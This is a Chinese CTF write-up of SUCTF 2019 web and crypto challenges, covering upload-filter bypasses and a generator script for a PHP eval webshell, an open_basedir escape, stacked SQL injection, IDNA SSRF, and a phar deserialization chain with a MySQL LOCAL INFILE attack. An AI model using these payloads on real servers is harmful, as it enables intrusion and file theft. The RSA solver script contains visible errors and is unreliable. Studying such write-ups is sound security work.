前段时间还在夏令营,今天终于有空补发一下当初打的很多的比赛了
WEB
checkin
这道题一开始跑偏了,弄了很久.htaccess
,最后幡然悔悟,nginx想用.htaccess
要改配置文件鸭,网站文件菜鸡控制不了,最后找了一下别的方法,一个菜鸡没见过的东西.user.ini
,最后就是绕过上传&执行了1
http://www.vuln.cn/6001
需要注意的就是他会检测文件内容不能包含<?
,所以上马的时候上script
马,还有就是会检测文件头,加个GIF89a
就行了
EasyPHP
这道题直接给了源码1
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function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
可以看到这题有两个考点,一个是bypass执行eval,另一个是文件上传
第一步的过滤很严,能用的字符不多,函数更是不能用了Orz
后面的文件上传也很严格,文件后缀不能有ph,文件内容不能有<?
,文件类型要符合exif_imagetype
先看第一步,剩下的可见字符能入手的估计也就是~
和^
,异或想去利用,一个字符至少得用六个字符去表示,加起来肯定是不够的,函数就更加执行不了了
然后参考微笑师傅的博客,思路清奇
所以接下来考虑变量,因为还有$
,然后最短的变量就是$_GET
,估计能18位搞定Orz
一波操作以后能构造出1
2${%A0%B8%BA%AB^%ff%ff%ff%ff}{%d9}();&%d9=phpinfo
#$_GET[0]&0=phpinfo
无参的函数不多,因此第二步的利用就是要用他给的get_the_flag函数了
第二步的考点估计后缀过滤得那么死,环境还是php7.2,估计得.htaccess
,但是怎么满足exif_imagetype呢,这里就需要找一个文件,能同时满足图片和.htaccess
文件的格式,而.htaccess
文件的不解析符有#
和\x00
,因此我们去找一下有没有什么图片头是有这些符号的
然后这里有个xbm图片,格式如下1
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5#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
所以我们上传.htaccess
文件如下1
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6define width 1337 # Define the width wanted by the code (and say we are a legit xbitmap file lol)
define height 1337 # Define the height
AddType application/x-httpd-php .aaa # Say all file with extension .php16 will execute php
php_value zend.multibyte 1 # Active specific encoding (you will see why after :D)
php_value zend.detect_unicode 1 # Detect if the file have unicode content
php_value display_errors 1 # Display php errors
这部分跟直接拿了l33t的脚本去改1
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18SIZE_HEADER = b'\n\n#define width 1337\n#define height 1337\n\n'
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htaccess():
htaccess = open('..htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .aaa\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htaccess()
generate_php_file("eval.aaa", "<?php eval($_GET['cmd']); ?>")
上传过去又遇到open_basedir bypass,经典的bypass1
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mkdir('/tmp/aaa/');
chdir('/tmp/aaa/');
ini_set('open_basedir'. '..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents('/flag'));
easy_sql
这道题菜鸡的解法是非预期…….. 因为运维人员在线vim的时候源码被我们扫到了,所以………1
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20if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
然后看着源码做题很舒服Orz……(逃
官方正解是1
1; set sql_mode=pipes_as_concat; select 1
学到了(逃
Pythonginx
这题也是给了源码1
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def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
看了源码明显的服务器伪造&文件读取,但是条件要符合有点困难,看到newhost.append(h.encode('idna').decode('utf-8'))
这句去github搜了一下,有点惊喜1
https://github.com/python-hyper/hyperlink/issues/19
然后就是利用了,因为题目提示nginx,所以直接读配置文件找flag
赛后才知道是今年blackhat提到的,还是tcl
顺便贴一个nginx配置目录,溜了
Upload Labs 2
主办方依旧给了源码1
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138//index.php
include 'class.php';
$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
}
}
//func.php
include 'class.php';
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}
//class.php
include 'config.php';
class File{
public $file_name;
public $type;
public $func = "Check";
function __construct($file_name){
$this->file_name = $file_name;
}
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE); //返回mine类型
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
function __toString(){
return $this->type;
}
}
class Check{
public $file_name;
function __construct($file_name){
$this->file_name = $file_name;
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("<? in contents!");
}
}
}
//admin.php
include 'config.php';
class Ad{
public $ip;
public $port;
public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;
function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
$this->ip = $ip;
$this->port = $port;
$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __wakeup(){
system("/readflag | nc $this->ip $this->port");
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$ip = $_POST['ip'];
$port = $_POST['port'];
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}
index.php
里面上传文件会限制后缀、大小和文件内容,上传了以后func.php
可以对文件进行查找,但是过滤得很严,跟过去getMine会看到有个finfo_file函数,利用它去触发反序列化,File类的__wakeup
方法也很神奇,通过反射调用check函数,既然是反序列化怎么可能是用回原来的类的,看一下还剩的最后一个类,Ad类明显要ssrf,立刻就想到soap类,而soap类的__call
方法则用File类的check去触发,最后Ad类的check触发用splstack::push
,这步参考了delta的wp
最后的问题,phar怎么触发呢,这里就是考的就是phar stream wrapper,File类的finfo_open与phar
和php://filter有奇效,payload为php://filter/resource=phar://upload/af32ccd1c4bd937e0bd05fcf70528505/bb72f33959b3680b6d3656d5472a8f13.png
1 |
|
这题出题人的思路也很巧妙,后面触发部分考察的是mysql client attack,而mysql在执行real_connect的时候会覆盖前面的mysqli->options1
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13$m = new mysqli();
$m->init();
$m->real_connect('ip','select 1','select 1','select 1',3306);
$m->query('select 1;');
$reflect = new ReflectionClass('Mysqli');
$sql = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod('Mysqli', 'init');
$reflectionMethod->invoke($sql, $arr);
$reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect');
$reflectionMethod->invoke($sql, 'ip','root','123456','test','3306');
$reflectionMethod = new ReflectionMethod('Mysqli', 'query');
$reflectionMethod->invoke($sql, 'select 1');
mysqli->real_connect() overwrites MYSQLI_OPT_LOCAL_INFILE setting
iCloudMusic
这道题菜鸡只能跟着大佬的博客复现,还是太菜了(捂脸
首先下下来一个压缩包,进入resources目录去解压app.asar文件(很奇怪,只能解压win32的压缩包,其他全损坏
解压出来就是审计源码了,list.html里面music_info部分存在js注入
然后就是利用process进行函数劫持触发函数
https://github.com/imagemlt/iCloudMusic
CRYPTO
Prime
给4个n和s,n之间还不互质,所以能求出4个因子,然后就是普通的rsa了,贴个脚本(溜1
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79import gmpy2
import libnum
import hashlib
import binascii
from Crypto.Util.number import long_to_bytes
from pwn import *
context.log_level = 'debug'
p = remote("47.111.59.243","8003")
p.recvuntil("str + ")
s = p.recv(4)
p.recvuntil("== ")
md5s = p.recv(5)
def md5(str):
sha = hashlib.md5(str)
e = sha.hexdigest()
return e
for i in range(10000000):
if md5(str(i)+s)[0:5] == md5s:
p.sendline(str(i))
break
p.interactive()
p.recvuntil("cs[0] = ")
cs0 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[0] = ")
ns0 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("cs[1] = ")
cs1 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[1] = ")
ns1 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("cs[2] = ")
cs2 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[2] = ")
ns2 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("cs[3] = ")
cs3 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[3] = ")
ns3 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ms[0] = ")
cs = []
ns = []
p01 = gmpy2.gcd(ns0, ns1)
p02 - gmpy2.gcd(ns0, ns2)
p03 = gmpy2.gcd(ns0, ns3)
p04 = ns0 / p01 / p02 / p03
d0 = int(gmpy2.invert(ns0, (p01 - 1)*(p02 - 1)*(p03 - 1)*(p04 - 1)))
m1 = pow(cs0, d0, ns0)
p11 = gmpy2.gcd(ns1, ns0)
p12 = gmpy2.gcd(ns1, ns2)
p13 = gmpy2.gcd(ns1, ns3)
p14 = ns1 / p11 / p12 / p13
d1 = int(gmpy2.invert(ns1, (p11 -1)*(p12 - 1)*(p13 - 1)*(p14 - 1)))
m2 = pow(cs1, d1, ns1)
p21 = gmpy2.gcd(ns2, ns0)
p22 = gmpy2.gcd(ns2, ns1)
p23 = gmpy2,gcd(ns2, ns3)
p24 = ns2 / p20 / p21 / p22
d2 = int(gmpy2.invert(ns2, (p21 - 1)*(p22 - 1)*(p23 - 1)*(p24 - 1)))
m3 = pow(cs2, d2, ns2)
p31 = gmpy2.gcd(ns3, ns0)
p32 = gmpy2.gcd(ns3, ns1)
p33 = gmpy2,gcd(ns3, ns2)
p34 = ns3 / p30 / p31 / p32
d3 = int(gmpy2.invert(ns3, (p31 - 1)*(p32 - 1)*(p33 - 1)*(p34 - 1)))
m4 = pow(cs3, d3, nx3)
p.sendline(str(hex(m1)))
p.recvuntil("ms[1] = ")
p.sendline(str(hex(m2)))
p.recvuntil("ms[2] = ")
p.sendline(str(hex(m3)))
p.recvuntil("ms[3] = ")
p.sendline(str(hex(m4)))
p.interactive()
RSA
典型的lsb oracle attack,继续贴脚本1
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99# -*- coding: utf-8 -*-
#/usr/bin/env python
import requests
import hashlib
from pwn import *
import libnum
import Crypto
import re
from binascii import hexlify,unhexlify
def md5(str):
sha = hashlib.md5(str)
e = sha.hexdigest()
return e
context.log_level = 'debug'
p = remote("47.111.59.243",9421)
a = p.recvuntil(")")[-5:-1]
print a
b = p.recvuntil("\n")[-6:-1]
print b
md5s = b
for i in range(10000000):
if md5(str(i)+a)[0:5] == md5s:
key = i
break
p.recvuntil("> ")
p.sendline(str(key))
def get_m(n,c,e):
l = 0
r = n
res = c
e = e
for i in range(20):
print (l==r)
if l == r:
break
p.recvuntil("Please input your option:")
p.sendline("D")
res = oracle(res, n, e)
p.sendline(str(res))
p.recvuntil("The plain of your decrypted message is ")
judge = p.recvuntil("!")[:-1]
if judge == "odd":
l = (l + r) / 2
else:
r = (l + r) / 2
print (l==r)
return l
def send_msg(c):
p.recvuntil("Please input your option:")
p.sendline("D")
p.sendline(str(c))
p.recvuntil("The plain of your decrypted message is ")
judge = p.recvuntil("!")[:-1]
if judge == "odd":
return 1
else:
return 0
def lsb_attack(n, e, c):
i = 0
l, r, k = 0, 1, 1
while n * l // k + 1 < n * r //k:
m = l + r
l *= 2
r *= 2
k *= 2
if send_msg(c * pow(k, e, n) % n) == 1: #odd
l = m
else: #even
r = m
m = n * l // k
if pow(m, e, n) == c:
return m
m = n * r // k
if pow(m, e, n) == c:
return m
return None
def test():
p.recvuntil("n = ")
n = int(p.recvline())
p.recvuntil("e = ")
e = int(p.recvline())
p.recvuntil("c = ")
c = int(p.recvline())
key = lsb_attack(n, e, c)
p.recvuntil("Please input your option:")
p.sendline("G")
p.sendline(str(key))
for i in range(3):
key = 0
test()
p.interactive()
DSA
因为有两个相同的r,所以我们可以爆破出符合条件的k,然后加密回去攻击1
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89#coding=utf8
from Crypto.Hash import SHA
from Crypto.Util.number import long_to_bytes
from pwn import *
from libnum import *
context.log_level = 'debug'
def inv(a, b):
assert gcd(a % b, b) == 1
return xgcd(a % b, b)[0] % q
def decrypt(r, c1, c2, m1, m2, p, q, g, y):
ds = c2 - c1
dm = (m2 - m1) % q
k = dm * inv(ds, q) % q
print "[+]k------->" + str(k)
tmp = k * c1 - m1
x = tmp * inv(r, q) % q
assert pow(g, x, p) == y
return x
def sig(m, x, g, p, q):
k = 151512
r = pow(g, k, p) % q
c = (m + x * r) * inv(k, q) % q
return (r, c)
po = remote("47.111.59.243", "8001")
po.recvuntil("me?")
po.send("\n")
po.recvuntil("p:")
p = int(po.recvuntil("\n").strip("\n"))
po.recvuntil("q:")
q = int(po.recvuntil("\n").strip("\n"))
po.recvuntil("g:")
g = int(po.recvuntil("\n").strip("\n"))
po.recvuntil("y:")
y = int(po.recvuntil("\n").strip("\n"))
md5 = []
rr = []
cc = []
def getdata():
po.recvuntil("digest:")
m = po.recvuntil("(")[1:-1]
md5.append(m)
n = po.recvuntil(",")[:-2]
rr.append(n)
k = po.recvuntil(")")[1:-2]
cc.append(k)
print "md5--->" + m
print "rr--->" + n
print "cc--->" + k
#
po.recvuntil("before:")
po.send("\n")
for i in range(12):
getdata()
po.recvuntil("digest is:")
l = po.recv(40)
print "md5--->" + l
print md5
print rr
print cc
j = 1
for i in range(len(rr)):
for j in range(j,len(rr)):
if rr[i]==rr[j]:
md51 = md5[i]
md52 = md5[j]
rr1 = rr[i]
rr2 = rr[j]
cc1 = cc[i]
cc2 = cc[j]
j = j + 1
print "md51--->" + md51
print "md52--->" + md52
print "rr1--->" + rr1
print "rr2--->" + rr2
print "cc1--->" + cc1
print "cc2--->" + cc2
print "md5555---->" + l
x = decrypt(int(rr1), int(cc1), int(cc2), int(md51), int(md52), p, q, g, y)
res = sig(int(l), x, g, p, q)
print res
po.interactive()
MT
这道题是队友做出来的,tql
convert函数中移位跟与运算看似不可逆,但是每一步都亦或了自己,所以是可逆的,逆回去的基本思路就是根据移位补位上去的0为已知将一个数按二进制位分块,按块求解。比如第一步
m = m ^ m >> 13 我们已知的只有亦或后的结果
往下的几步运算也一样1
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68#coding:utf-8
num = 0xaa21f3a2 #641460a9 e3953b1a aa21f3a2
# 0xdc05c2a -> 0xdc05d92
# 0xd6166027 -> 0xd6167ae5
# num -> res
# m = m ^ m >> 19
# 0x6e02前19
# 0x1b8 前13
# 0x1c2a末13
# 验证通过
a = num >> 13#前19bit
b = num >> 19#前13bit
c = num & 0x1fff#亦或后的后13bit
d = b ^c #后13bit
res = (a << 13) + d #第三轮结果
print "third"
print hex(res)
# 验证通过
# 0x56526027 -> 0xd6166027
# second -> third
a = res & 0x1ffff #结果的低17位
p = 0x85d40000
b = (p & 0xfffe0000)>>17 #取p的高15位
c = (res & 0xfffe0000)>>17 #取res的高15位
d = (a & b) ^ c #得到结果的高15位
ans = (d << 17) + a #第二轮结果
print "second"
print hex(ans)
# 验证通过
# 0x6abb523f -> 0x1a3b443f
# second -> first
p = 0x78f39600
a = ans & 0x1ff #结果的低9位
# print "低9位 --> " + hex(a)
b = (p >> 9) & 0x1ff #取p中间的9位
# print "中间9位 --> " + hex(b)
c = (ans >> 9) & 0x1ff
# print "second的中间9位 --> " + hex(c)
d = (a & b) ^ c #结果的中间9位
# print "结果的中间9位 --> " + hex(d)
e = (p >> 18) & 0x1ff #p的倒数第3个9位
# print "p的倒数第3个9位 --> " + hex(e)
f = (ans >> 18) & 0x1ff #ans的倒数第3个9位
# print "ans的倒数第3个9位 --> " + hex(f)
h = (d & e) ^ f #结果的倒数第3个9位
# print "结果的倒数第3个9位 --> " + hex(h)
i = h & 0x1f #取5位
j = p >> 27 #p的高5位
k = ans >> 27 #ans 的高5位
l = (i & j) ^ k #结果的高5位
# print "结果的高5位 --> " + hex(l)
res = (l << 27) + (h << 18) + (d << 9) + a#第一轮结果
print "first"
print hex(res)
# 验证通过
a = res >> 19#结果的高13位
# print "结果的高13位 --> " + hex(a)
b = (res >> 6) & 0x1fff #res的中间13位
# print "res的中间13位 --> " + hex(b)
c = a ^ b #结果的中间13位
# print "结果的中间13位 --> " + hex(c)
d = c >> 7 #取6位
e = res & 0x3f
f = d ^ e # 结果的低6位
# print "结果的低6位 --> " + hex(f)
ans = (a << 19) + (c << 6) + f #一段flag
print "flag"
print hex(ans)
参考
https://blog.zeddyu.info/2019/08/24/SUCTF-2019/
https://xz.aliyun.com/t/6042
https://www.cnblogs.com/wfzWebSecuity/p/11207145.html